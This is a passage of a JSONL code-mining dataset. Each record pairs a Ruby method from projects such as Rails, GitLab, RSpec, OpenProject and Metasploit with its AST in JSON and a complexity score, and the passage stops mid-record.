{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/notifications.rb","start_line":347,"raw_source":"def colorized_totals_line(colorizer=::RSpec::Core::Formatters::ConsoleCodes)\n        if failure_count > 0 || errors_outside_of_examples_count > 0\n          colorizer.wrap(totals_line, RSpec.configuration.failure_color)\n        elsif pending_count > 0\n          colorizer.wrap(totals_line, RSpec.configuration.pending_color)\n        else\n          colorizer.wrap(totals_line, RSpec.configuration.success_color)\n        end\n      end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"colorized_totals_line\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"colorizer\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RSpec\"]},\"Core\"]},\"Formatters\"]},\"ConsoleCodes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors_outside_of_examples_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colorizer\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"totals_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]},\"failure_color\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colorizer\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"totals_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]},\"pending_color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colorizer\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"totals_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configuration\"]},\"success_color\"]}]}]}]}]}","id":"c38b5320-c660-4ad2-8ec6-08d204956f28"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing/inspector_test.rb","start_line":271,"raw_source":"def test_rails_routes_dont_show_app_mounted_in_assets_prefix\n        output = draw do\n          get \"/sprockets\" => MountedRackApp\n        end\n        assert_no_match(/MountedRackApp/, output.first)\n        assert_no_match(/\\/sprockets/, output.first)\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_routes_dont_show_app_mounted_in_assets_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/sprockets\"]},{\"type\":\"const\",\"children\":[null,\"MountedRackApp\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MountedRackApp\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/sprockets\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"first\"]}]}]}]}","id":"e5d01ef8-daf5-4c64-a3ec-994dddfe7039"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/access_tokens_controller.rb","start_line":20,"raw_source":"def represent(tokens)\n        ::ProjectAccessTokenSerializer.new.represent(tokens, project: resource)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"represent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ProjectAccessTokenSerializer\"]},\"new\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}]}","id":"ded2b1d6-5ee6-497b-ab90-40444daa52f8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/report_auth_info.rb","start_line":293,"raw_source":"def test_sentry_cdu_enum\n    mod = framework.auxiliary.create('scanner/http/sentry_cdu_enum')\n    mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sentry_cdu_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"auxiliary\"]},\"create\",{\"type\":\"str\",\"children\":[\"scanner/http/sentry_cdu_enum\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_IP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PORT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PASS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PROOF\"]}]}]}]}]}]}","id":"aafac822-696c-4b43-8231-acf8451a373f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/outpost24_document.rb","start_line":173,"raw_source":"def collect_host_data(name)\n    @state[:has_text] = false\n    if name == \"name\"\n      @state[:hname] = @text.strip if @text\n    elsif name == \"platform\"\n      if @text\n        @state[:os_name] = @text.strip\n      else\n        @state[:os_name] = Msf::OperatingSystems::UNKNOWN\n      end\n    end\n    @text = nil\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_host_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"has_text\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"strip\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"platform\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OperatingSystems\"]},\"UNKNOWN\"]}]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6bcea085-ccb3-4919-b945-f7834acf524e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/schemas/schema_collection_representer.rb","start_line":34,"raw_source":"def initialize(represented, self_link:, current_user:, form_embedded: false)\n          self.form_embedded = form_embedded\n\n          super(represented, self_link:, current_user:)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"represented\"]},{\"type\":\"kwarg\",\"children\":[\"self_link\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"form_embedded\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"form_embedded=\",{\"type\":\"lvar\",\"children\":[\"form_embedded\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"self_link\"]},{\"type\":\"lvar\",\"children\":[\"self_link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}]}","id":"e9f376a5-ddb1-4774-9641-12c3330dbc62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/set_cache.rb","start_line":81,"raw_source":"def with(&blk)\n      Gitlab::Redis::Cache.with(&blk) # rubocop:disable CodeReuse/ActiveRecord\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Cache\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"11a9daed-8945-41d7-9e98-69fb8001b545"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb","start_line":25,"raw_source":"def replace_keys(record, force: false)\n          super\n\n          target_type = record ? record.class.polymorphic_name : nil\n\n          if force || owner._read_attribute(reflection.foreign_type) != target_type\n            owner[reflection.foreign_type] = target_type\n          end\n        end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"kwoptarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"target_type\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]},\"polymorphic_name\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"_read_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"foreign_type\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"target_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"foreign_type\"]},{\"type\":\"lvar\",\"children\":[\"target_type\"]}]},null]}]}]}","id":"dfb4f74f-7a75-4bcb-9c2b-8f753130d9af"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/app/app_generator.rb","start_line":123,"raw_source":"def config\n      empty_directory \"config\"\n\n      inside \"config\" do\n        template \"routes.rb\" unless options[:update]\n        template \"application.rb\"\n        template \"environment.rb\"\n        template \"bundler-audit.yml\" unless skip_bundler_audit?\n        template \"cable.yml\" unless options[:update] || skip_action_cable?\n        template \"ci.rb\"\n        template \"puma.rb\"\n        template \"storage.yml\" unless options[:update] || skip_active_storage?\n\n        directory \"environments\"\n        directory \"initializers\"\n        directory \"locales\" unless options[:update]\n      end\n    end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_directory\",{\"type\":\"str\",\"children\":[\"config\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inside\",{\"type\":\"str\",\"children\":[\"config\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update\"]}]},null,{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"routes.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"application.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"environment.rb\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_bundler_audit?\"]},null,{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"bundler-audit.yml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_action_cable?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"cable.yml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"ci.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"puma.rb\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_active_storage?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"storage.yml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"directory\",{\"type\":\"str\",\"children\":[\"environments\"]}]},{\"type\":\"send\",\"children\":[null,\"directory\",{\"type\":\"str\",\"children\":[\"initializers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update\"]}]},null,{\"type\":\"send\",\"children\":[null,\"directory\",{\"type\":\"str\",\"children\":[\"locales\"]}]}]}]}]}]}]}","id":"460a46ab-920f-4922-85cf-3d7d9118d966"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":509,"raw_source":"def build_resource_action(ae_endpoint, action)\n    fqname = ae_endpoint[:fqname] || self.class.send(action[:method], *action[:args]) || \"\"\n\n    build_options = {:action        => action[:name],\n                     :fqname        => fqname,\n                     :ae_attributes => {:service_action => action[:name]}}\n    build_options.merge!(ae_endpoint.slice(*RESOURCE_ACTION_UPDATE_ATTRS))\n    resource_actions.build(build_options)\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_resource_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ae_endpoint\"]},{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fqname\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_endpoint\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fqname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"build_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fqname\"]},{\"type\":\"lvar\",\"children\":[\"fqname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_options\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_endpoint\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RESOURCE_ACTION_UPDATE_ATTRS\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_actions\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"build_options\"]}]}]}]}","id":"9c42406a-5f1e-48c6-bddf-0935ab8c888b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/slack_interactions/slack_block_actions/incident_management/project_update_handler.rb","start_line":26,"raw_source":"def allowed?\n            return false unless current_user\n\n            current_user.can?(:read_project, old_project) &&\n              current_user.can?(:read_project, new_project)\n          end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_project\"]},{\"type\":\"send\",\"children\":[null,\"old_project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_project\"]},{\"type\":\"send\",\"children\":[null,\"new_project\"]}]}]}]}]}","id":"ee90e972-3d2b-4eb1-8a8c-f3b8728e0030"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1212,"raw_source":"def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction\n    assert_not_predicate @pirate.ship, :marked_for_destruction?\n\n    @pirate.ship.mark_for_destruction\n    id = @pirate.ship.id\n\n    assert_predicate @pirate.ship, :marked_for_destruction?\n    assert Ship.find_by_id(id)\n\n    @pirate.save\n    assert_nil @pirate.reload.ship\n    assert_nil Ship.find_by_id(id)\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"ship\"]},{\"type\":\"sym\",\"children\":[\"marked_for_destruction?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"ship\"]},\"mark_for_destruction\"]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"ship\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"ship\"]},{\"type\":\"sym\",\"children\":[\"marked_for_destruction?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ship\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"reload\"]},\"ship\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ship\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"96e8e4c3-b887-4bff-9175-6cbe4c3517b2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/accounts/user_limits.rb","start_line":83,"raw_source":"def show_user_limit_warning!(flash_now: false)\n    f = flash_now ? flash.now : flash\n\n    f[:warning] = user_limit_warning\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"show_user_limit_warning!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"flash_now\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flash_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},{\"type\":\"send\",\"children\":[null,\"flash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"send\",\"children\":[null,\"user_limit_warning\"]}]}]}]}","id":"5170aa34-bce6-49b4-b1f2-8350ab57b3ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/network/graph.rb","start_line":69,"raw_source":"def count_to_display_commit_in_center\n      offset = -1\n      skip = 0\n      while offset == -1\n        tmp_commits = list_commits(skip)\n\n        if tmp_commits.present?\n          index = tmp_commits.index do |c|\n            c.id == @commit.id\n          end\n\n          if index\n            # Find the target commit\n            offset = index + skip\n          else\n            skip += self.class.max_count\n          end\n        else\n          # Can't find the target commit in the repo.\n          offset = 0\n        end\n      end\n\n      if self.class.max_count / 2 < offset\n        # get max index that commit is displayed in the center.\n        offset - (self.class.max_count / 2)\n      else\n        0\n      end\n    end","complexity_score":42.83,"ast_json":"{\"type\":\"def\",\"children\":[\"count_to_display_commit_in_center\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"skip\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_commits\",{\"type\":\"send\",\"children\":[null,\"list_commits\",{\"type\":\"lvar\",\"children\":[\"skip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_commits\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_commits\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"skip\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skip\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"max_count\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"max_count\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"max_count\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"9310145b-26ff-4237-ac3a-bd74e9707139"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/otp/strategies/forti_token_cloud.rb","start_line":42,"raw_source":"def verify_otp(otp_code)\n            # Returns '200 OK' on successful verification.\n            # Uses the access token created via `access_token_create_response` as the auth token.\n            post(\n              url: url('/auth'),\n              headers: { Authorization: \"Bearer #{access_token}\" },\n              body: {\n                username: user.username,\n                token: otp_code\n              }.to_json\n            )\n          end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_otp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"otp_code\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"str\",\"children\":[\"/auth\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer 